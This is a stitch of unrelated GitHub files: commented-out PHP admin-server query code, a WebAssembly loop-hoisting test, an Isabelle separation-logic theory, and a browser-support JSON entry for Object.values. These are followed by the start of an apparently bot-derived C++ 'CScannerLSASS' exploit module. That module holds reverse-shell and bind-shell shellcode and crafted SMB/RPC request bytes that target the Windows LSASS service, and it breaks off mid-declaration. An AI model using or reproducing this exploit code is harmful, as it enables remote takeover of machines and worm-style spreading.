($fp); // } // // function waitMessage ($fp, &$msgin) // { // //echo "waiting a message"; // $size = 0; // $val = fread ($fp, 1); // $size = ord($val) << 24; // $val = fread ($fp, 1); // $size = ord($val) << 16; // $val = fread ($fp, 1); // $size += ord($val) << 8; // $val = fread ($fp, 1); // $size += ord($val); // //printf ("receive packet size '%d'<br>", $size); // $fake = fread ($fp, 4); // $size -= 4; // remove the fake // // $Buffer = fread ($fp, $size); // $msgin = new CMemStream; // $msgin->setBuffer ($Buffer); // } // // function logNelQuery($query) // { // global $uid; ///* // $f = fopen("./nel_queries.log", "a"); // fwrite($f, date("Y/m/d H:i:s")." ".sprintf("%-16s", $admlogin)." $query\n"); // fclose($f); //*/ // // logUser($uid, "QUERY=".$query); // } // // function nel_query($rawvarpath, &$result) // { // global $nel_queries; // // $nel_queries[] = $rawvarpath; // $ok = false; // //echo "rawvarpath=$rawvarpath<br>\n"; // // //logNelQuery($rawvarpath); // // connectToAS($fp, $result); // if(strlen($result) != 0) // return $ok; // // // send the message that say that we want to add a user // $msgout = new CMemStream; // $fake = 0; // $msgout->serialuint32 ($fake); // fake used to number the packet // $messageType = 0; // $msgout->serialuint8 ($messageType); // $msgout->serialstring ($rawvarpath); // // sendMessage ($fp, $msgout); // // waitMessage ($fp, $msgin); // // $msgin->serialstring($result); // // if(strlen($result) == 0) // { // // it failed // } // else // { // // it's ok // $ok = true; // } // // //printf("receive response '$result'<br>\n"); // // disconnectFromAS(&$fp); // //echo "sent OK.<br><br>\n"; // // return $ok; // } ?>
{ "pile_set_name": "Github" }
(module (type $none_=>_none (func)) (type $none_=>_i32 (func (result i32))) (type $i32_=>_none (func (param i32))) (type $i32_=>_i32 (func (param i32) (result i32))) (type $none_=>_i64 (func (result i64))) (memory $0 1) (global $glob (mut i32) (i32.const 1)) (func $loop1 (drop (i32.const 10) ) (loop $loop (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop2 (drop (i32.const 10) ) (drop (i32.const 20) ) (loop $loop (nop) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop3 (drop (i32.const 10) ) (drop (i32.const 20) ) (loop $loop (nop) (call $loop2) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop4 (drop (i32.load (i32.const 1) ) ) (loop $loop (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop3-4 (loop $loop (drop (i32.load (i32.const 10) ) ) (call $loop2) (drop (i32.load (i32.const 20) ) ) (br_if $loop (i32.const 1) ) ) ) (func $loop3-4-b (drop (i32.load (i32.const 10) ) ) (drop (i32.load (i32.const 20) ) ) (loop $loop (nop) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop5 (loop $loop (i32.store (i32.const 1) (i32.const 2) ) (br_if $loop (i32.const 1) ) ) ) (func $loop6 (loop $loop (i32.store (i32.const 1) (i32.const 2) ) (i32.store (i32.const 2) (i32.const 3) ) ) ) (func $loop7 (loop $loop (i32.store (i32.const 1) (i32.const 2) ) (i32.store (i32.const 2) (i32.const 3) ) (br_if $loop (i32.const 1) ) ) ) (func $loop8 (loop $loop (i32.store (i32.const 1) (i32.const 2) ) (br_if $loop (i32.const 1) ) ) ) (func $loop9 (loop $loop (drop (i32.load (i32.const 1) ) ) (i32.store (i32.const 1) (i32.const 2) ) (br_if $loop (i32.const 1) ) ) ) (func $loop10 (drop (i32.load (i32.const 1) ) ) (drop (i32.load (i32.const 2) ) ) (loop $loop (nop) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop11 (local $x i32) (local $y i32) (loop $loop (drop (local.get $x) ) (br_if $loop (local.tee $x (i32.const 2) ) ) ) ) (func $loop12 (local $x i32) (local $y i32) (drop (local.get $x) ) (loop $loop (nop) (br_if $loop (local.tee $y (i32.const 2) ) ) ) ) (func $loop13 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (loop $loop (nop) (call $loop12) (br_if $loop (i32.const 1) ) ) ) (func $loop14 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (loop $loop (nop) (call $loop12) (br_if $loop (i32.const 1) ) (local.set $y (local.get $x) ) ) ) (func $loop14-1 (local $x i32) (local $y i32) (loop $loop (local.set $x (i32.eqz (local.get $y) ) ) (call $loop12) (local.set $y (local.get $x) ) (br_if $loop (i32.const 1) ) ) ) (func $loop15 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (loop $loop (nop) (call $loop12) (br_if $loop (i32.const 1) ) (drop (local.get $y) ) ) ) (func $loop15-1 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (drop (local.get $y) ) (loop $loop (nop) (call $loop12) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop16 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (loop $loop (nop) (call $loop12) (br_if $loop (i32.const 1) ) (drop (local.get $x) ) ) ) (func $loop16-1 (local $x i32) (local $y i32) (local.set $x (i32.eqz (local.get $y) ) ) (drop (local.get $x) ) (loop $loop (nop) (call $loop12) (nop) (br_if $loop (i32.const 1) ) ) ) (func $loop16-2 (local $x i32) (local $y i32) (local.set $x (i32.const 2) ) (block (local.set $x (i32.eqz (local.get $y) ) ) (drop (local.get $x) ) (loop $loop (nop) (call $loop12) (nop) (br_if $loop (i32.const 1) ) ) ) ) (func $loop16-3 (local $x i32) (local $y i32) (local.set $y (i32.const 2) ) (block (local.set $x (i32.eqz (local.get $y) ) ) (drop (local.get $x) ) (loop $loop (nop) (call $loop12) (nop) (br_if $loop (i32.const 1) ) ) ) ) (func $nop (loop $loop (nop) (br_if $loop (i32.const 1) ) ) ) (func $nested-blocks (loop $loop (block $block (nop) ) (block $x (nop) ) (block $a (block $b (block $c (nop) ) ) ) (br_if $loop (i32.const 1) ) ) ) (func $nested-unhoistable-blocks (loop $loop (block $block (call $nested-unhoistable-blocks) ) (block $x (call $nested-unhoistable-blocks) ) (block $a (block $b (block $c (call $nested-unhoistable-blocks) ) ) ) (br_if $loop (i32.const 1) ) ) ) (func $conditional (if (i32.const 0) (drop (i32.const 10) ) ) (loop $loop (nop) (br_if $loop (i32.const 1) ) ) ) (func $conditional1 (result i32) (loop $loop (if (call $conditional1) (drop (i32.const 10) ) ) (br_if $loop (i32.const 1) ) ) (unreachable) ) (func $conditional2 (block $out (loop $loop (br_if $out (i32.const 1) ) (drop (i32.const 10) ) (br_if $loop (i32.const 1) ) ) ) ) (func $conditional3 (block $out (block (drop (i32.const 10) ) (loop $loop (nop) (br_if $out (i32.const 1) ) (br_if $loop (i32.const 1) ) ) ) ) ) (func $after (loop $loop (nop) ) (drop (i32.const 10) ) ) (func $loops (drop (i32.const 10) ) (loop $loop2 (nop) (loop $loop1 (nop) (br_if $loop1 (i32.const 1) ) ) ) ) (func $loops2 (drop (i32.const 10) ) (loop $loop2 (nop) (loop $loop1 (nop) (br_if $loop2 (i32.const 1) ) ) ) ) (func $fuzz1 (result i64) (local $var$1 i64) (drop (block (result i32) (local.set $var$1 (block $label$5 (result i64) (local.set $var$1 (i64.const -29585) ) (i64.const -70) ) ) (loop $label$4 (result i32) (nop) (i32.const 1) ) ) ) (loop $label$1 (result i64) (block $label$2 (block $label$3 (nop) (br $label$2) ) (unreachable) ) (local.get $var$1) ) ) (func $self (result i32) (local $x i32) (loop $loop (local.set $x (i32.add (local.get $x) (i32.const 1) ) ) (br_if $loop (i32.const 1) ) ) (local.get $x) ) (func $nested-set (local $var$0 i32) (local $var$1 i64) (loop $label$1 (local.set $var$0 (block $label$3 (result i32) (local.set $var$1 (i64.const 0) ) (local.get $var$0) ) ) (local.set $var$1 (i64.const 1) ) (br_if $label$1 (i32.const 0) ) ) ) (func $load-store (param $x i32) (loop $loop (drop (i32.load (i32.const 0) ) ) (i32.store (local.get $x) (local.get $x) ) (br_if $loop (i32.const 1) ) ) ) (func $set-set (param $x i32) (result i32) (loop $loop (local.set $x (i32.const 1) ) (br_if $loop (i32.const 2) ) (local.set $x (i32.const 3) ) (br_if $loop (i32.const 4) ) ) (local.get $x) ) (func $copies-no (local $x i32) (local $y i32) (local $z i32) (local $a i32) (local $b i32) (local $c i32) (loop $loop (local.set $x (local.get $x) ) (local.set $y (local.get $z) ) (local.set $a (local.tee $b (local.get $c) ) ) (br_if $loop (i32.const 1) ) ) ) (func $consts-no (local $x i32) (local $a i32) (local $b i32) (loop $loop (local.set $x (i32.const 0) ) (local.set $a (local.tee $b (i32.const 1) ) ) (br_if $loop (i32.const 1) ) ) ) (func $global (local $x i32) (local.set $x (global.get $glob) ) (drop (local.get $x) ) (loop $loop (nop) (nop) (br_if $loop (local.get $x) ) ) ) )
{ "pile_set_name": "Github" }
(* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the BSD 2-Clause license. Note that NO WARRANTY is provided. * See "LICENSE_BSD2.txt" for details. * * @TAG(NICTA_BSD) *) theory Sep_ImpI imports Sep_Provers Sep_Cancel_Set Sep_Tactic_Helpers begin lemma sep_wand_lens: "(\<And>s. T s = Q s) \<Longrightarrow> ((P \<longrightarrow>* T) \<and>* R) s \<Longrightarrow> ((P \<longrightarrow>* Q) \<and>* R) s" apply (sep_erule_full refl_imp) apply (clarsimp simp: sep_impl_def) done lemma sep_wand_lens': "(\<And>s. T s = Q s) \<Longrightarrow> ((T \<longrightarrow>* P) \<and>* R) s \<Longrightarrow> ((Q \<longrightarrow>* P) \<and>* R) s" apply (sep_erule_full refl_imp, erule sep_curry[rotated]) apply (clarsimp) apply (erule sep_mp) done (* Removing wands from the conclusions *) ML {* fun sep_wand_lens ctxt = resolve_tac ctxt[@{thm sep_wand_lens}] fun sep_wand_lens' ctxt = resolve_tac ctxt [@{thm sep_wand_lens'}] fun sep_wand_rule_tac tac ctxt = let val r = rotator' ctxt in tac |> r (sep_wand_lens' ctxt) |> r (sep_wand_lens ctxt) |> r (sep_select ctxt) end fun sep_wand_rule_tac' thms ctxt = let val r = rotator' ctxt in eresolve_tac ctxt thms |> r (sep_wand_lens ctxt) |> r (sep_select ctxt) |> r (sep_asm_select ctxt) end fun sep_wand_rule_method thms ctxt = SIMPLE_METHOD' (sep_wand_rule_tac thms ctxt) fun sep_wand_rule_method' thms ctxt = SIMPLE_METHOD' (sep_wand_rule_tac' thms ctxt) *} lemma sep_wand_match: "(\<And>s. Q s \<Longrightarrow> Q' s) \<Longrightarrow> (R \<longrightarrow>* R') s ==> (Q \<and>* R \<longrightarrow>* Q' \<and>* R') s" apply (erule sep_curry[rotated]) apply (sep_select_asm 1 3) apply (sep_drule (direct) sep_mp_frame) apply (sep_erule_full refl_imp, clarsimp) done lemma sep_wand_trivial: "(\<And>s. Q s \<Longrightarrow> Q' s) \<Longrightarrow> R' s ==> (Q \<longrightarrow>* Q' \<and>* R') s" apply (erule sep_curry[rotated]) apply (sep_erule_full refl_imp) apply (clarsimp) done lemma sep_wand_collapse: "(P \<and>* Q \<longrightarrow>* R) s \<Longrightarrow> (P \<longrightarrow>* Q \<longrightarrow>* R) s " apply (erule sep_curry[rotated])+ apply (clarsimp simp: sep_conj_assoc) apply (erule sep_mp) done lemma sep_wand_match_less_safe: assumes drule: " \<And>s. (Q' \<and>* R) s \<Longrightarrow> ((P \<longrightarrow>* R') \<and>* Q' \<and>* R'' ) s " shows "(Q' \<and>* R) s \<Longrightarrow> (\<And>s. Q' s \<Longrightarrow> Q s) \<Longrightarrow> ((P \<longrightarrow>* Q \<and>* R') \<and>* R'') s" apply (drule drule) apply (sep_erule_full refl_imp) apply (erule sep_conj_sep_impl) apply (clarsimp simp: sep_conj_assoc) apply (sep_select_asm 1 3) apply (sep_drule (direct) sep_mp_frame, sep_erule_full refl_imp) apply (clarsimp) done ML {* fun sep_match_trivial_tac ctxt = let fun flip f a b = f b a val sep_cancel = flip (sep_apply_tactic ctxt) (SepCancel_Rules.get ctxt |> rev) fun f x = x |> rotate_prems ~1 |> (fn x => [x]) |> eresolve0_tac |> sep_cancel val sep_thms = map f [@{thm sep_wand_trivial}, @{thm sep_wand_match}] in sep_wand_rule_tac (resolve0_tac [@{thm sep_rule}] THEN' FIRST' sep_thms) ctxt end fun sep_safe_method ctxt = SIMPLE_METHOD' (sep_match_trivial_tac ctxt) *} method_setup sep_safe = {* Scan.succeed (sep_safe_method) *} end
{ "pile_set_name": "Github" }
{ "title":"Object.values method", "description":"The Object.values() method returns an array of a given object's own enumerable property values.", "spec":"https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Object/values", "status":"ls", "links":[ { "url":"https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Object/values", "title":"MDN Specification" }, { "url":"https://github.com/es-shims/Object.values", "title":"Polyfill" } ], "bugs":[ ], "categories":[ "JS" ], "stats":{ "ie":{ "5.5":"p", "6":"p", "7":"p", "8":"p", "9":"p", "10":"p", "11":"p" }, "edge":{ "12":"y", "13":"y", "14":"y", "15":"y", "16":"y" }, "firefox":{ "2":"p", "3":"p", "3.5":"p", "3.6":"p", "4":"p", "5":"p", "6":"p", "7":"p", "8":"p", "9":"p", "10":"p", "11":"p", "12":"p", "13":"p", "14":"p", "15":"p", "16":"p", "17":"p", "18":"p", "19":"p", "20":"p", "21":"p", "22":"p", "23":"p", "24":"p", "25":"p", "26":"p", "27":"p", "28":"p", "29":"p", "30":"p", "31":"p", "32":"p", "33":"p", "34":"p", "35":"p", "36":"p", "37":"p", "38":"p", "39":"p", "40":"p", "41":"p", "42":"p", "43":"p", "44":"p", "45":"p", "46":"p", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y" }, "chrome":{ "4":"p", "5":"p", "6":"p", "7":"p", "8":"p", "9":"p", "10":"p", "11":"p", "12":"p", "13":"p", "14":"p", "15":"p", "16":"p", "17":"p", "18":"p", "19":"p", "20":"p", "21":"p", "22":"p", "23":"p", "24":"p", "25":"p", "26":"p", "27":"p", "28":"p", "29":"p", "30":"p", "31":"p", "32":"p", "33":"p", "34":"p", "35":"p", "36":"p", "37":"p", "38":"p", "39":"p", "40":"p", "41":"p", "42":"p", "43":"p", "44":"p", "45":"p", "46":"p", "47":"p", "48":"p", "49":"p", "50":"p", "51":"p", "52":"p", "53":"p", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y" }, "safari":{ "3.1":"p", "3.2":"p", "4":"p", "5":"p", "5.1":"p", "6":"p", "6.1":"p", "7":"p", "7.1":"p", "8":"p", "9":"p", "9.1":"p", "10":"p", "10.1":"y", "11":"y", "TP":"y" }, "opera":{ "9":"y", "9.5-9.6":"y", "10.0-10.1":"y", "10.5":"y", "10.6":"y", "11":"y", "11.1":"y", "11.5":"y", "11.6":"y", "12":"y", "12.1":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y" }, "ios_saf":{ "3.2":"p", "4.0-4.1":"p", "4.2-4.3":"p", "5.0-5.1":"p", "6.0-6.1":"p", "7.0-7.1":"p", "8":"p", "8.1-8.4":"p", "9.0-9.2":"p", "9.3":"p", "10.0-10.2":"p", "10.3":"y", "11":"y" }, "op_mini":{ "all":"u" }, "android":{ "2.1":"p", "2.2":"p", "2.3":"p", "3":"p", "4":"p", "4.1":"p", "4.2-4.3":"p", "4.4":"p", "4.4.3-4.4.4":"p", "56":"y" }, "bb":{ "7":"u", "10":"u" }, "op_mob":{ "10":"y", "11":"y", "11.1":"y", "11.5":"y", "12":"y", "12.1":"y", "37":"y" }, "and_chr":{ "61":"y" }, "and_ff":{ "56":"y" }, "ie_mob":{ "10":"p", "11":"p" }, "and_uc":{ "11.4":"u" }, "samsung":{ "4":"u", "5":"u" }, "and_qq":{ "1.2":"u" }, "baidu":{ "7.12":"u" } }, "notes":"", "notes_by_num":{ }, "usage_perc_y":73.14, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"object,values", "ie_id":"", "chrome_id":"", "firefox_id":"", "webkit_id":"", "shown":false }
{ "pile_set_name": "Github" }
#include "main.h" #include "mainctrl.h" #include "utility.h" class CScannerLSASS : public CScannerBase { public: CScannerLSASS(); virtual ~CScannerLSASS() throw() { } bool Exploit(); }; // reverse shellcode unsigned char reverseshell[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99" "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12" "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99" "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9" "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D" "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA" "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32" "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10" "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8" "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66" "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5" "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8" "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A" "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12" "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A" "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C" "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33" "\xF9\x7E\xE0\x5F\xE0"; // bind shellcode unsigned char bindshell[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0" "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41" "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B" "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D" "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA" "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF" "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8" "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79" "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C" "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59" "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD" "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5" "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6" "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0" "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED" "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99"; char req1[] = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F" "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02" "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F" "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70" "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30" "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54" "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; char req2[] = "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" "\x2E\x00\x30\x00\x00\x00\x00\x00"; char req3[] = "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46" "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40" "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48" "\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF" "\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00" "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00" "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00" "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00" "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00"; char req4[] = "\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00" "\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00" "\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00" "\x49\x00\x50\x00\x43\x00\x24" "\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"; char req5[] = "\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00" "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" "\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00" "\x72\x00\x70\x00\x63\x00\x00\x00"; char req6[] = "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02" "\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00" "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11" "\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A" "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"; char req7[] = "\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02" "\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00" "\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00" "\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00"; // room for shellcode here ... char shit1[] = "\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9"; char req8[] = 